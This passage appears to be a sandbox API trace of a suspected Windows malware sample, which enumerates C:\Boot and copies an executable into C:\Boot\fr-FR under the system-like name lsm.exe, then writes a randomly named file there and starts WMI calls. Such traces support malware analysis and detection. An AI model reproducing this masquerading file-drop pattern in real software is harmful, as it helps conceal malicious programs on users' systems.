lpOldMode=0x1b2fde38) returned 1 [0081.993] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0081.993] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbeed0 [0081.993] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa0a7d640, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0xd85f4660, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xd85a83a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x512582c0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x512582c0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x54ca9dc0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x54ca9dc0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4d5f1480, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x4d5f1480, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0081.996] FindClose (in: hFindFile=0x1bfbeed0 | out: hFindFile=0x1bfbeed0) returned 1 [0081.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0081.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0081.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0081.996] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0081.997] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*" (normalized: "c:\\boot\\fr-fr\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbeed0 [0081.997] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0081.997] FindClose (in: hFindFile=0x1bfbeed0 | out: hFindFile=0x1bfbeed0) returned 1 [0081.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0081.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0082.001] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0082.001] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\lsm.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\lsm.exe", lpFilePart=0x0) returned 0x15 [0082.001] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Boot\\fr-FR\\lsm.exe" (normalized: "c:\\boot\\fr-fr\\lsm.exe"), bFailIfExists=0) returned 1 [0082.177] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\101b941d020240", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\101b941d020240", lpFilePart=0x0) returned 0x1c [0082.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0082.178] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\101b941d020240" (normalized: "c:\\boot\\fr-fr\\101b941d020240"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x36c [0082.178] GetFileType (hFile=0x36c) returned 0x1 [0082.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0082.178] GetFileType (hFile=0x36c) returned 0x1 [0082.179] WriteFile (in: hFile=0x36c, lpBuffer=0x2afdef8*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2afdef8*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x10c, lpOverlapped=0x0) returned 1 [0082.180] CloseHandle (hObject=0x36c) returned 1 [0082.181] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0082.182] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0082.182] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0082.182] IUnknown:Release (This=0x111f638) returned 0x1 [0082.183] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c054590) returned 0x0 [0082.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054590, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0082.184] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054590, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02fff0) returned 0x0 [0082.184] WbemDefPath:IUnknown:Release (This=0x1c054590) returned 0x0 [0082.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fff0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02fff0) returned 0x0 [0082.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fff0, 